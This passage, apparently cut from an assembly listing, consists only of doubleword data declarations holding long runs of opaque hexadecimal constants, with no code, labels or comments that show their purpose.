0CEFE9FB4h, 76D3F00h dd 0DC65D2F1h, 0F81A003Eh, 0B4054498h, 0C60768D7h, 0B0E7B150h dd 94998D90h, 406203C9h, 5B0C53E9h, 4B2DB498h, 80B3FB38h dd 333ACF0Fh, 12BD39CCh, 7940B6h, 0AD186A08h, 0C900807Eh dd 8F073187h, 2CD4767h, 0FD73512Bh, 34C08AD2h, 6905E53Fh dd 13305F3Eh, 86904482h, 0F3867BCh, 0A27A650h, 18350700h dd 1A0030EEh, 787BA77Fh, 3039BBCh, 0D206A55Fh, 200016B3h dd 10D017F2h, 3ED9EBACh, 0B0804760h, 9C416CD7h, 0ED007A0Dh dd 0D013E61Bh, 0F6976AB5h, 0A1803A21h, 0F5B0181h, 0CC6CE14Eh dd 8B00F6D6h, 819618B3h, 0E67756h, 0EE4C6B3Fh, 0B930CB5Eh dd 0C8A75B00h, 0DAED5082h, 947D00CAh, 6D56DF19h, 4834E143h dd 4BC13852h, 0A2F0B838h, 110FC8Ch, 4231BBD0h, 601B4396h dd 0A00EBF78h, 2011D1E4h, 402DB5Ah, 68740057h, 76DE872Dh dd 0E11CFCABh, 640B7A7h, 2966CDBAh, 0CA22073Eh, 0B0508FFFh dd 960394F2h, 1D703800h, 8A2EA420h, 0E071E23Ah, 0A4300EBh dd 0B71623E5h, 8900C60Fh, 0EF952F4Dh, 0A063A652h, 1222E1BCh dd 4038692Eh, 0E35576ECh, 0C760E8A3h, 0B4D2D020h, 957F092Ch dd 3F00590Ch, 0C35EDB7Ch, 9A8D180Ch, 8E8226h, 61FF895h dd 0C2E7666Eh, 27E6CB13h, 2047000Fh, 0D5104BA9h, 0AD93004Eh dd 0FAD27DB5h, 87009427h, 0DB13821Eh, 480CB6h, 0CA0D7432h dd 62C08431h, 0B3393A00h, 55F5CFCh, 0FFD418E9h, 175E280Dh dd 99BE2C0Fh, 801ACFEAh, 0E301F1F5h, 68E71F9Dh, 6379C02Bh dd 7DC63576h, 0F793EA00h, 0D2A9F9BFh, 0A580137h, 0E122E769h dd 0CDCC400Eh, 0BD00456Dh, 589506DFh, 1DE21547h, 859D2F63h dd 0C0BB0D79h, 9202F6E8h, 0ED2EAD0Fh, 65AEC310h, 5910009Ch dd 64B8E4F8h, 87007D7Eh, 3B9591B6h, 25CA97h, 0D299A5A3h dd 21B9606Fh, 0B4456600h, 0CEDC7441h, 0AE98265Ch, 0A54B94B4h dd 99A0D905h, 11480A4h, 3700E00Eh, 74BE520Ch, 71F5EA76h dd 0B71E0485h, 0C4D60271h dd 0CEE0876Ch, 0B9151C01h, 357886FBh, 5877DDh, 61D01697h dd 92333C40h, 95A68B00h, 0BA553B49h, 0B0FC0E1Ah, 476FC5A5h dd 2C0400B7h, 0C036310Ch, 0DFD16800h, 7ACD660Ah, 0EB300096h dd 92AA4219h, 300ABC8h, 6B5ABCC4h, 33E1B06h, 6A22564Ch dd 30B020D6h, 0A901983Dh, 59DFFB03h, 86024C7h, 6ABC0031h dd 0AD8B262Eh, 0B60C6015h, 0B022FE88h, 96772Ch, 0E5F59E98h dd 0CC7CA1E7h, 0B6E26F1Dh, 697DE3C0h, 60944363h, 504A4268h dd 0BB7D1008h, 3F544C00h, 325C1C6Fh, 19B30FF3h, 9E08289h dd 0BDD717F1h, 0FA08981Eh, 0DA0ED5C0h, 1409FBCh, 965E51A1h dd 70BB2D0Ch, 68009A06h, 116D9DDDh, 0ECED4C52h, 0EA470006h dd 33982EE5h, 0C816F5FEh, 83051648h, 0DA805575h, 198B46h dd 0AE5A04DCh, 7455FC9h, 522E42E6h, 0BD014D9Dh, 7CD9B732h dd 0E4E68820h, 0F63A0066h, 1DF34230h, 0EA0F8C74h, 40800D1Ah dd 6A43F2CAh, 0D6E71832h, 5BA1033h, 6BDAB103h, 896E232Eh dd 246053CBh, 63821352h, 3B54007Fh, 0DF54B171h, 0ABFA6E2Ch dd 0C7A8B700h, 53995E2h, 98DD924Fh, 68ECC1FCh, 99C86470h dd 0F4D08739h, 7BBA603Bh, 0C707A500h, 2AE656Dh, 9D9A00E1h dd 6BD9F7FCh, 3A1C8B2Bh, 4A924282h, 86178D00h, 0B52EE2h dd 2965479Eh, 0AA526985h, 22EF590Fh, 4C40126Ch, 4ADC9FC8h dd 0AC8F02D2h, 0DE04829Ch, 94E592E0h, 0DD11F81Dh, 0D9700C80h dd 0CE7952h, 50BC2CE3h, 54C8F151h, 20655500h, 0CA1A8E36h dd 1D6B281Eh, 31308F4h, 0D817A729h, 2242E602h, 1B9FE00Bh dd 5EED2798h, 0DC00A05Eh, 62D9F584h, 9B31D86h, 93E68777h dd 148C10FBh, 1200C9D6h, 6CDCA746h, 0EAE17FC2h, 0A14C03AFh dd 9D76CF3Bh, 0C0A364A1h, 0B1001DFEh, 5F77DC17h, 23F20Ah dd 42D5042Eh, 0F079A621h, 0E458F400h, 0E48BE4Dh, 0B8350015h dd 2BDE060Dh, 8D5CC437h, 67A00090h, 0B320BB2Eh, 0FBE603D6h dd 0BE3285CCh, 8DD16EF8h, 0DCEEE728h, 9CC7E50Ah, 9A0BA87Bh dd 6ED4A172h, 0C430D990h, 0E0C900C3h, 22353B9Bh, 0D2039D28h dd 326C1295h, 0FD20A00Dh, 1C380B63h, 0EE81C503h, 0FC308F93h dd 973A9F58h, 0C030765Ah, 7C56198Ah, 0F770F2h, 8E6DAA6Ch dd 22570A75h, 4F0772E0h, 0CF849ACBh, 0D38C4D0h, 0AE6E3CCDh dd 1E70AC80h, 2C77211Dh, 0A72DC200h, 5C6F33D9h, 9A8300A2h dd 650C342Bh, 0BF485F32h, 791393Ch, 0E8A6DF9Dh, 60266112h dd 1E8A77D8h, 1BD4685Eh, 0A6E828C5h, 457C9CCBh, 5AC7030Ah dd 8050887Ah, 308200AEh, 11FDACD4h, 0B7000323h, 5FC2664Bh dd 0D56554h, 326E01BFh, 25C7266Bh, 34821C07h, 0A902972h dd 1537077h, 0AFE82A36h, 0FC7B9F16h, 3B1EC8C6h, 6D80CDC9h dd 0DD4EF319h, 0CBD10FB2h, 0D5A09FADh, 0C42201EDh, 7C81F200h dd 255AAE5Eh, 0AA580038h, 15DA7FAFh, 0BE03F4EEh, 2AB78FC3h dd 9DB9B931h, 1E83CF70h, 43263B4Ah, 0A45F377Bh, 0E023A6F0h dd 178AE701h, 0E2A205C4h, 913F4h, 0C60108B8h, 0C1E574F7h dd 0FB3E2B00h, 0FF029C40h, 0ABAA00B9h, 659105D6h, 3578C2F9h dd 526DE500h, 689DF713h, 485B0EF3h, 0D5608EDBh, 59430B69h dd 0D3571900h, 0DF9CE083h, 0F110047h, 0F9BA7C8Bh, 101CEEC1h dd 0D880BB0Eh, 68FF4C2h, 7E0C03F0h, 612F08ADh, 1BA3DCF0h dd 6D7ADB1Dh, 40895A0Fh, 15DEF187h, 550E3A53h, 2BC92080h dd 9E9AFB19h, 0E11D6F73h, 0DB40371Dh, 0E440CB76h, 850B0093h dd 57998EFh, 660C540Eh, 108D6E03h, 1DD9E08Ah, 80DB5CC5h dd 876ED22h, 31CFDD1Bh, 0E0F36010h, 873D13h, 56374172h dd 0AEBAC2B2h, 0C0DD3Eh, 0ED12F11h, 13FDE1h, 4239F1A9h dd 0DB4FCE1Ch, 0B78E6760h, 1E489180h, 40C550BFh, 0F6A0056Bh dd 50B7CCD2h, 0F5F00A9h, 0F30AE51Bh, 3E1F9827h, 2F001CACh dd 465586F8h, 1B2B0719h, 50DDB4CDh, 0F5B25E6Fh, 6AF6240Fh dd 0A683406Dh, 0C48610h, 9EEF922Ah, 46696744h, 0A039A70h dd 140EE28Eh, 0C41A8F5h, 70650062h, 2417DDA9h, 46006EB9h dd 0BDF86FD3h, 185FC55Dh, 0E8BB6A09h, 0CD00E231h, 60E51E5h dd 1E4E77D4h, 22B98Eh, 9D840D88h, 2700D350h, 0EC908104h dd 510776h, 0AEF74DC0h, 919C7A68h, 0FFBA2500h, 738364C3h dd 48CF07EEh, 70A046CAh, 452D9DA5h, 0A43B6E00h, 6FE69EAAh dd 0F0B76069h, 79F7F327h, 39D18D1Eh, 0CE622340h, 2985E4h dd 6F08D7B4h, 0A71AB3E7h, 0BBE20702h, 0A176BC5Fh, 0B63752D4h dd 2C63C8h, 5C8D68B8h, 78DA086Fh, 6B921200h, 62B002A3h dd 0C06C001Dh, 0D799D5AAh, 7600C21Eh, 4EBFBAAEh, 5F4124h dd 427366AFh, 0D3091CA5h, 0EC986DFEh, 2BDC5100h, 0D78633B5h dd 71FC3B22h, 6BFF84E0h, 780089DDh, 65E42C2Eh, 0ACC473h dd 8552365Ch, 4596AD1Bh, 7CB93B00h, 50F4AA5h, 9D0E002Ch dd 8B48A1AEh, 320727BBh, 0A31BE566h, 0DB2D74D0h, 8A6B1FBCh dd 0CFC006C1h, 820018A5h, 366E6111h, 84BBA0h, 0B5042D41h dd 0A1A9CCAEh, 83F1A800h, 741A3CFEh, 98A70045h, 4E6424EBh dd 2E1E344Dh, 0ED4B9366h, 77180ABh, 437D05h, 0A40F49D1h dd 0FF543E50h, 57AC3000h, 0A1EF0EEBh, 3C90037h, 0BC396614h dd 6C007F8Eh, 0B317B0B6h, 0F4CD11D5h, 2080FE7h, 2ECEA07Bh dd 34045320h, 7C001328h, 78F4CFC3h, 0E1803D03h, 4D4BB080h dd 1FE2E0ECh, 0D449C013h, 0AB559000h, 28299FFEh, 7EB2832h dd 0C5F71795h, 0B484F002h, 4B07D973h, 6A8B68E6h, 887851A3h dd 875093h, 560592ABh, 17CAF160h, 8A2EA100h, 0DA533341h dd 8F5C0327h, 0ACF03691h, 3440D2DAh, 0C4001B30h, 3AB3B6A9h dd 87CC60h, 9BBBF96Fh, 0AFADA8E0h, 0F20CB90Dh, 0B3E930F6h dd 4E7B2F0h, 0DF876003h, 4A2680ADh, 0C8000283h, 6C81AF4Bh dd 0F29357D1h, 30CC001Dh, 0C5714FB6h, 9C282C58h, 0CD00BCD8h dd 115B31B3h, 6BE23A2h, 0AE55F3DBh, 450068F1h, 0F679D291h dd 2A78FFh, 2F1B400Eh, 0DC335912h, 0A690303h, 0D87AF928h dd 24AC4CC7h, 0A8A8E2h, 405595Eh, 0AD48EE26h, 92381Ch dd 0B5901468h, 1F49DAFh, 0E5C348DFh, 8FDEE988h, 40E60C90h dd 213E01D8h, 68F71EEEh, 0C2B6416Ah, 21CAD0A0h, 80E8F78h dd 25186777h, 485BC912h, 0C035E2C4h, 0C71E4EE9h, 483EA232h dd 0D7A38077h, 5B51832Ah, 8A9E0064h, 0B9C585D0h, 0E807926Dh dd 918277DDh, 0D8C964h, 0E62E0756h, 0F3DA26B2h, 67E0A7E3h dd 1F00198Eh, 23C9A96Eh, 0E48CF89Ah, 874D00CEh, 855D6FCCh dd 687D8838h, 0D77AC500h, 3214609Dh, 0AD930026h, 89628F87h dd 0A77B5504h, 0E6083300h, 0DBF0492Ah, 0ADFC28A3h, 1E141EA4h dd 8600789Ch, 99ECA616h, 0D707BC48h, 91AC778Bh, 29BD4CC0h dd 79D60BD9h, 350EE321h, 0F969A361h, 16003BD4h, 0C575EF9Ch dd 4B08177Fh, 43050073h, 7DBE5BFCh, 9E6AAF00h, 0E9F61F4Fh dd 0EA6B16E8h, 0EB00AAF8h, 8BABFF23h, 0CE79EBh, 0C998A9AEh dd 255F0C22h, 32436409h, 6C00FF5Eh, 1CA77DD8h, 0E15FB1Fh dd 0A4E62C87h, 0A06C9981h, 0CDEFFCh, 0D2949C54h, 302D9B08h dd 93B6FA00h, 0A4C1BAB4h, 0D77000EDh, 0EB3E27Ah, 0C703A62Bh dd 3071D68Dh, 0B9B5E1EBh, 795D7060h, 0E7783Ah, 7903C1B8h dd 128BC30Dh, 0EF9D480Fh, 50CEBE28h, 0B7100019h, 5B1073Bh dd 0BC07C0Ah, 0B894005Dh, 0AACC1667h, 6DA7E00h, 3AB9774Eh dd 0D4A400BFh, 58B3A371h dd 10C5BE56h, 90004D31h, 0F9B7E9F4h, 1A3E0AE2h, 80F88015h dd 0B1BEACBBh, 2072F59h, 3358400Dh, 0E09CEB13h, 0BA4E741h dd 3C973BE8h, 7B99BA80h, 19006353h, 0D48BDC50h, 0EE9A3Dh dd 7209F4CCh, 15C66DACh, 0B552A500h, 5532BA05h, 77921363h dd 0AA4A007Eh, 36A0CB8Bh, 0E84D9000h, 0D8627C16h, 0EA6705Bh dd 0EF14AB63h, 0F001EE60h, 0F400CA82h, 0E086970Dh, 0B0C55133h dd 0E38D127Dh, 72DB00A5h, 8438CFD4h, 0F66DC700h, 5D71BB15h dd 790D009Ah, 49BC7C73h, 5F00C0FDh, 0F2332A4Eh, 0BB7D86h dd 4C4B6A05h, 98FC9BEDh, 6C39EC07h, 83014703h, 81E0AF76h dd 0ABDF00BEh, 0A39686AEh, 14009DD8h, 0F09380B2h, 4984DE1Dh dd 7020067h, 2E502A5Bh, 2CE14C0h, 0FAAFF700h, 498BE51Ch dd 52340174h, 41E1974Eh, 6EEFC8F8h, 8296D503h, 0B8217B77h dd 7B310A49h, 63D700B8h, 69E6F3FAh, 0EF00AF08h, 5766FDA5h dd 0D365BDh, 362ED47Fh, 782362A6h, 74CCF4Ch, 99352C42h dd 69685290h, 9DB800A5h, 0FE9FECE7h, 5F3C79D3h, 1B060902h dd 0C3280F7Ch, 97653D46h, 0A47D8560h, 0B8CC2418h, 0FC90013h dd 40C089B5h, 0A9D9E628h, 9DD6000h, 507488E2h, 8E2F0103h dd 9CDC1D5Bh, 0D1F96044h, 0CD680C0Ch, 3F16605Fh, 0F4D16191h dd 0A07640E0h, 0CC375D5h, 0FF2B8A86h, 0BB06E0FAh, 0DCB893Eh dd 0F0169828h, 318A00D1h, 0C14FEA26h, 0C503D783h, 0DE2B38E4h dd 67D2D8D3h, 343E008Bh, 8235A278h, 0B11FDA68h, 983BF8BDh dd 8C48EE7Eh, 0F12264A8h, 0E1B380FEh, 0C203D516h, 2ABB2745h dd 5C284CF5h, 88F88106h, 6818B1DBh, 0DFC960E1h, 0FC460EFAh dd 0F382F9E6h, 148A6ADCh, 22100019h, 0CD1AACDAh, 0A34C8200h dd 7A9D8BC9h, 171C010Ah, 5A4BCCFDh, 0EC72C424h, 0D619410Fh dd 80784FF4h, 4AE17755h, 54630011h, 5E445C58h, 0B2C07AFh dd 0BB02D762h, 60D06FFBh, 0C9F1F8h, 0F5597EADh, 1AFAD17Bh dd 82B6E1C0h, 0B897704Bh, 8FE53193h, 807AB309h, 4BEB5620h dd 580840h, 94C07160h, 5E28DE2Ch, 20B3B201h, 0AE5191D5h dd 0A19E18BBh, 7000E09Ah, 7216E780h, 54768221h, 265C8C5Eh dd 26DB967Eh, 0DD24015Bh, 20B246EAh, 0A400DEB4h, 0AE97DB29h dd 3D98E0h, 6B0AAA81h, 0C7C3D699h, 0E5686C03h, 1E87756h dd 0E4DCE631h, 806F5E81h, 5B802611h, 779F930h, 21F1EA50h dd 0DF274352h, 684D2000h, 0F9D29E5Bh, 0D4E215h, 41052AFDh dd 38C24EA8h, 8E34593Fh, 0E1A7838Ch, 0E8782918h, 807E6891h dd 0F9315B81h, 40458C91h, 15B69E8h, 0A51B12BBh, 0B973A958h dd 0A8EF8CB8h, 0C08EC0E6h, 119C7CE4h, 320069C0h, 5DF09001h dd 299E62h, 0B41F8560h, 74042EB1h, 0F200BBFAh, 8DA3556Dh dd 7CEAFA6h, 2B1E3CC7h, 2067F051h, 3000833Bh, 0AB255E8Ch dd 35647C6h, 0D8BB39F6h, 80F56632h, 8AA2C86Ah, 8059CB3Ch dd 0A91CC036h, 5E0CD08h, 1250FCFh, 9A15C18Ch, 0DC43F9F2h dd 42F4DAD8h, 59E0FA00h, 0DC66A581h, 0E7620014h, 0C5C437Bh dd 110049FBh, 3E38CA87h, 0C6D335h, 803DABA3h, 4420CED4h dd 0CC037998h, 484BA660h, 0A041A069h, 24AF5C4Ah, 976EC301h dd 8C7EEBCAh, 20A57108h, 0F8B7007Ch, 93486038h, 560F900Eh dd 1EE01FA2h, 409A68C0h, 9821D8D1h, 6ACA07DDh, 4D9E59B3h dd 0E6B2C060h, 0B0246001h, 0A91D35C9h, 6B11088Ch, 99015F20h dd 909405E6h, 0C0D18C98h, 5CB17BF4h, 6033CFCh, 2CA5A795h dd 9FEFB001h, 0A0421DADh, 0C3216080h, 23BAAF29h, 8BC25AC3h dd 2E06A31Eh, 35F7C21h, 0BF0ABEB1h, 3C563BA0h, 1E6AD9C3h dd 3D29004Fh, 5C919922h, 78387A0Ah, 0C1088E3Fh, 0D2AD20EBh dd 0C535B4E6h, 495C45E0h, 6380F09Ch, 20444228h, 80B8FD3Fh dd 0B6A1CC36h, 4CA610EFh, 0F2149678h, 9284BC9Fh, 0F8D03046h dd 0B6C31054h, 8047C895h, 4F8B8ABh, 13000CFCh, 0DA4E6E58h dd 143DF9EAh, 0B8459CD1h, 5786CF81h, 27108070h, 0BF26FB25h dd 0E988001Bh, 0C89EB8ADh, 8038AA46h, 2D941C4Ah, 0F55B0B40h dd 1DCCE84Fh, 0FF1DED3Ch, 508143B8h, 92C36B6Eh, 82298115h dd 0ED1F42CBh, 7F31DCh, 0D5778E30h, 5B6F6A81h, 7B3C3Bh dd 986D9FB7h, 0BDE9Bh, 0EAC7E076h, 1DCDA1AAh, 0BED30E00h dd 9A4BE9A7h, 844E00C1h, 0BCDAAC15h, 0D400271Eh, 2652BB09h dd 1B8C49C6h, 8141D63Ch, 0D5908E98h, 0CAFFF4E5h, 0EE8ACF06h dd 203B46h, 0A09876BCh, 0ECE23F92h, 0C407DD72h, 2D0C7574h dd 18296DF6h, 79A98FF4h, 9CFEE9BEh, 9068B200h, 0CEBBAA60h dd 0E0E7040Fh, 12A8DD5h, 3A543E3Ch, 96AB418Fh, 0ED6DD3C0h dd 927DFD3Dh, 0AA63A1C0h, 2A84BDh, 77AF3B39h, 1FB704D1h dd 4342C00Fh, 6241222Fh, 5A14E02Dh, 1EA3Ch, 0EFF715B6h dd 0E4E6088h, 0C3F06F0Eh, 4A64808Fh, 482A6971h, 613A1C7Bh dd 0BB2B7C07h, 2502088h, 31831CEh, 0BC08CF3Ah, 1B20C090h dd 39B3BB8Bh, 84AD38h, 7D092244h, 0A2AE4Ah, 76B65B01h dd 8672427Ch, 799DB900h, 878B9340h, 14690063h, 5B2B8927h dd 0B00092FAh, 0E7BC2DEh, 0C0A6CFE2h, 53587230h, 0CA18F773h dd 2B20B688h, 0CE4C0A57h, 7020134Dh, 5C8CAA80h, 0A318ED60h dd 9B5BB875h, 3D343Eh, 243751F9h, 0E8BB05BCh, 4F304C3Ah dd 0C1816500h, 0CA78F941h, 7E2B1000h, 0A3E4A951h, 8D0318AFh dd 0D025282Fh, 365D2100h, 390471ADh, 85966C5h, 89072194h dd 0BC815DAAh, 0D1C0E304h, 302C5785h, 30209CC4h, 28617884h dd 98C22E79h, 0D7651987h, 9D5DF08Bh, 0B318FA96h, 0D33027E2h dd 873140F2h, 81A32402h, 80177296h, 1D66A410h, 0D32F0180h dd 437A8C9Fh, 0F6109F28h, 0DD771002h, 0D4B8001Ch, 590647EFh dd 415B94F1h, 41FD6009h, 0CEE6D98h, 98146A3Bh, 1138D85Eh dd 8C0F0341h, 9047D0CCh, 0D30A19EEh, 30851DF7h, 0F6EF8D40h dd 22B94659h, 642FEF4h, 3D0CFEFh, 1A004982h, 90AE78ADh dd 1EFA144Ah, 40249727h, 45D8FDB5h, 71C035C8h, 0C5BCB8Fh dd 0D17D06D6h, 8840EA9h, 20C68D30h, 3A5BBD4Ah, 871E9781h dd 0AE3F806Ch, 783013C8h, 42F26800h, 0DAFEFA27h, 0CD370E7Ah dd 0AC40107Bh, 44808F36h, 0A81B7030h, 0F8BCD8h, 0E968594h dd 76B1C43Bh, 217F08CCh, 94FF05DBh, 0C15A5371h, 8EB797BDh dd 0A00E4AD1h, 0C57761E4h, 7830C330h, 212650F6h, 0AA0005CCh dd 49423A2Ch, 5B8800C2h, 68872E5Dh, 64501DA1h, 4A0591B4h dd 30C84261h, 46628040h, 0DED7D5Ah, 0B5AB1ACFh, 16F412F9h dd 8EE3E30h, 9741594Dh, 21C066h, 0B3EFD79Eh, 0FB6E4360h dd 0E99CCA00h, 0C2108498h, 0E4BCA5FEh, 0DE776086h, 0ACCA0024h dd 0D0BF47B4h, 0BB026BE6h, 0C75759D4h, 3808081h, 54795F92h dd 0D0A42Eh, 206E22Ch, 28F7FF4Fh, 571F9400h, 9A8EAA64h dd 4EF48D1h, 8407D623h, 0B5A2F968h, 0F52416D0h, 64003ACEh dd 0DBB1DE2Dh, 1E7B004Bh, 4AD5884Dh, 0FE0D0DEDh, 30DC83B7h dd 62104CCCh, 0CB4168AAh, 145BCF18h, 7C9DD6F8h, 4E808B88h dd 4F245BB1h, 0A5600058h, 0A05C6988h, 450F5711h, 0A22ADEECh dd 99C1E7B9h, 0F81913D4h, 59104CEFh, 0BC49489h, 3C9B001Dh dd 0C8BFBEEh, 0C76B429h, 3A01C819h, 975AD599h, 63D8EFA7h dd 0FB1E128Ch, 221E03CBh, 880010D6h, 0A2832AEDh, 44DDAAF5h dd 54096FDFh, 4490355h, 0FC61507Ch, 6E313094h, 0EFC07C91h dd 369413h, 0CFFD2D60h dd 8E6B8F7Ah, 17B9A900h, 3163E8F3h, 8D4500C8h, 384AD377h dd 731DD29Ch, 1030D470h, 189C12Eh, 0FF7775B4h, 8C8EAD11h dd 20CC2508h, 89B700E9h, 17C96C1Bh, 7A3EC6F6h, 0D2CE0048h dd 0A9A41EA8h, 8BED0097h, 37F96A7h, 0F606148Eh, 1692BBCEh dd 584A0F28h, 918015E9h, 0B95EAEE2h, 7D08BA66h, 9DF90021h dd 4E1B3715h, 9FE3F7Ah, 8D42F40Ch, 327895Bh, 0C990262Bh dd 0D9C0BCCBh, 0EA88497Ah, 0C13307B6h, 97DAE6C7h, 4208BCDFh dd 3DA321C3h, 70458833h, 9E30FF68h, 724BE6DCh, 4E61C1B9h dd 80E274DBh, 11839691h, 188CE860h, 193948C5h, 0C76FA213h dd 0DC700030h, 36733B71h, 0F8210624h, 0E602C246h, 0BA910315h dd 0F810EB31h, 840A15FEh, 0DCEAC0C3h, 1ADB7701h, 0D8506472h dd 6DC2EEh, 372CE83Eh, 0BFAF8513h, 97B4105h, 0E420B942h dd 0A8D603h, 35DDC997h, 4B057A12h, 5D5154A0h, 8C9DE100h dd 0DA62E04h, 177CA02Dh, 0CD34825h, 8E028C7Eh, 0BF754196h dd 102B19FEh, 7E89C494h, 0DCBE001Eh, 100A8843h, 41C3F971h dd 0B0A62661h, 3ED3789Dh, 138F898Ch, 7480D6D7h, 0D86F9C9Fh dd 0F87D0500h, 5010A972h, 0B5922898h, 461F3BB8h, 27085A80h dd 1BFA843Dh, 417E197Fh, 3FD32A00h, 4A1D395Ch, 122025A6h dd 6700307Ch, 0F1B3C849h, 0EEFA70h, 0A45266E1h, 0D630D190h dd 0F6210400h, 246A277h, 9DBD0E45h, 0F0408EECh, 0C3600DF9h dd 6E950C16h, 3517CA07h, 410612F0h, 76AF0105h, 42D53FCFh dd 2B8080DEh, 0B9E572BDh, 0ED40CE18h, 0AE3D0052h, 6DC1C5DCh dd 0EF07F407h, 40AE6A2Ah, 0C6032934h, 0D67E062Dh, 8054B789h dd 87792F16h, 0F8147109h, 1F990005h, 9A8BA39Ch, 6C13ED27h dd 0D40081AEh, 0DAC27141h, 0F19026h, 0C01F23E2h, 0DE72C85h dd 280E5500h, 0F3701931h, 0BAD8011Eh, 0F54ECFEBh, 7B6CDCB6h dd 0D2206E00h, 8F1CD9ACh, 2FF8B4h, 56B0F019h, 0B96C72DAh dd 3EF59B12h, 10D2AE0h, 3D9CD57Ch, 80B516D9h, 3761D180h dd 0BB52ECh, 0B8280536h, 0A2080D69h, 55210F00h, 351971F4h dd 0B0F4E2h, 0AEA7983Ch, 45B44179h, 4BE050F1h, 872AFF9Dh dd 6800C0F0h, 121EA773h, 0E97EDBh, 0BDCF6137h, 0FD6AAF1Ch dd 980E8F00h, 69738B86h, 0B6E2006Ch, 22A58E84h, 0FA2EC327h dd 0F200ED53h, 0D8EE4D9Ah, 744100BBh, 7322F992h, 15009B46h dd 93992EEBh, 0AED659h, 0ED193001h, 7581D3FCh, 6A1E1100h dd 65401820h, 71C7730Eh, 41E600A6h, 0BC489B90h, 0B600C4E8h dd 7568F4FDh, 75ABDD63h, 0A9A0038h, 791BF5E1h, 2E03AF0Dh dd 0DDBA9896h, 0CC308019h, 336639E9h, 0F4509C8Ch, 0B21F8040h dd 40C9BEE7h, 8F590009h, 90998126h, 1DA71000h, 71007120h dd 0CAB52CE3h, 4904A9C3h, 0C4096038h, 0E002F84Dh, 0C518736Fh dd 75400889h, 2C64FF97h, 89BBED40h, 0FE747D5Dh, 4BC0B202h dd 3CE1324h, 7EC7B7FDh, 0DBAE3480h, 0C3145CA7h, 1308F45h dd 970E427Bh, 0C831B116h, 0DB30CCC3h, 0C4238A33h, 0AE11DEh dd 29334208h, 8F13ABh, 112879ECh, 23EFCD71h, 0B88B5F00h dd 3EA9D46Ch, 98550ECAh, 6078F1CFh, 789DD539h, 7104009Bh dd 549ECE12h, 5D06E3A8h, 0D672A38Bh, 487500A0h, 0D0B8085Ch dd 570E772Bh, 0A00D9B65h, 73400E46h, 833C3061h, 2FDC4A20h dd 2099BC29h, 3260B6E2h, 6099B804h, 163E968Fh, 2CFEC775h dd 0C8A0B3A4h, 0FD02C3B1h, 75129516h, 4988A05Ch, 0CBEDCAh dd 110C0627h, 54FB65C6h, 45215660h, 0E65E6F8Bh, 0CD373070h dd 1C5B7650h, 0F4E804ADh, 5A4504A3h, 7D3A2081h, 0FBDD0882h dd 3510E9ACh, 92333685h, 1C8A0850h, 0BA86A80Eh, 0ED68388Eh dd 18B02018h, 1CA5CC1Fh, 0FA5332D4h, 0AC99DA33h, 212806A5h dd 4BE031FDh, 46904CA1h, 0C802804h, 1CA13ACAh, 1071B1F6h dd 505D10B3h, 60211014h, 10A3544Eh, 9069300Ch, 12F883A9h dd 640840A2h, 31C2304h, 3AD452CEh, 280C0942h, 93F81453h dd 812348A3h, 5052BCBAh, 38F012C0h, 9A003CF9h, 0DE1BA967h dd 8B3B4624h, 32EA77F0h, 230620Fh, 84C0D0Bh, 490FC0Bh dd 0C715B1BEh, 52B78034h, 0B500C492h, 7B3CEFADh, 0AA74D0C4h dd 9C397A02h, 2BD31046h, 0B014D000h, 8D30422Bh, 493F51FBh dd 387A6BE5h, 2F27B8A3h, 189C5958h, 0C3489FE1h, 908F172Bh dd 0FEEC040Ch, 16C8C0C0h, 55804B01h, 9EB399Fh, 60531160h dd 0C6056D08h, 57F31948h, 8F313401h, 48870BD8h, 80701601h dd 0BB6FBD42h, 4BED9D0Bh, 80390EB8h, 73AC440Eh, 0A1570363h dd 482738B3h, 880CA9CEh, 8D572CCh, 89E93C61h, 27CD1B7Fh dd 4833C187h, 0A0E8511Fh, 3826BA52h, 0C207475Fh, 7722D731h dd 6227E010h, 143C559Dh, 0C313AE5Eh, 350EB000h, 18C378DBh dd 79527AEDh, 453FB9BBh, 508C5084h, 6960C876h, 0E41B17E8h dd 13806A3h, 8911DEDAh, 4C0E7A0Eh, 56276034h, 14B6426h dd 0FF63CBEBh, 0A03EDED9h, 0EDF1D029h, 0F5604227h, 0A9138883h dd 60B487D4h, 0CE55D84Ch, 5FA0100Dh, 780630F1h, 53F53AE1h dd 70211F04h, 4ED0907Dh, 3B075869h, 0F378950h, 48573A4h dd 77211686h, 273B06A1h, 0A163BB49h, 2A8DF51h, 0AC844CB0h dd 8EF890F6h, 0DD00FE95h, 0F7154950h, 8DE7614h, 0CC2F8D45h dd 104CA821h, 1B281E23h, 0ADEA0154h, 243ACB11h, 13880C38h dd 73ECFCA0h, 8B8A574h, 86B89BCh, 4704B899h, 5D00B85Eh dd 0CC91BDF3h, 451F327Bh, 44003C0Ch, 0F656397Fh, 66B8065Ah dd 599B4EFBh, 22B73101h, 2D0FA012h, 0D0F446h, 0FBF6DD16h dd 7CEB705Ah, 633463Ch, 0DD552F8h, 0BDFE00C8h, 0FC45C84Ch dd 9C05EDBAh, 24561170h, 0BF48A006h, 13070961h, 882E937Ah dd 5925B894h, 21A188A2h, 84D5B8AFh, 4BD7CA00h, 0FA8C45CCh dd 0D880D092h, 4E623EBEh, 94D90C08h, 9640208Ch, 24601212h dd 24C8B812h, 9C1530B5h, 7AD85281h, 2418CF48h, 0EA5330FAh dd 81146AE1h, 73D40F2Ch, 0D7187C63h, 328D9848h, 882E60A9h dd 3DFCF1h, 1E5A245h, 22023F3Eh, 4E17075Eh, 49BD83EDh dd 0D74030C9h, 0BE9076D9h, 0DDBA7A05h, 480CF527h, 452D294Ch dd 71B1E8CCh, 0EE3C2250h, 29884948h, 0F30758CEh, 904C68E8h dd 3B4380h, 0F647C7DDh, 1DF78D9h, 84685F2Fh, 80DAB877h dd 44320180h, 1075CF6h, 0E4D7760Ah, 24EEA914h, 252F5FB8h dd 25CAF62Fh, 7824F17Ch, 27E23240h, 71956F53h, 0DB065660h dd 0B0A68363h, 8BD42344h, 72CF8809h, 0BC644874h, 5AE60039h dd 0B87C63A0h, 950796ADh, 5479DDECh, 1697A44Fh, 0D58C3881h dd 9AB6A050h, 0C2FFF042h, 5AF74E11h, 24EA8440h, 9681E960h dd 115F1FBDh, 9C91512h, 0F55A05Ch, 77CD0301h, 4878005Dh dd 0E8F3291h, 8048DEDBh, 1DBEDEC8h, 74F7BF8h, 21801C14h dd 575CB679h, 0A9767B3Bh, 98507DC8h, 196018Bh, 56848F14h dd 0D793437Fh, 0A6505100h, 7D252E87h, 8DDE3B20h, 4328CA80h dd 5403267Bh, 850C4E0Ch, 4B1230F3h, 46240E82h, 47B35F20h dd 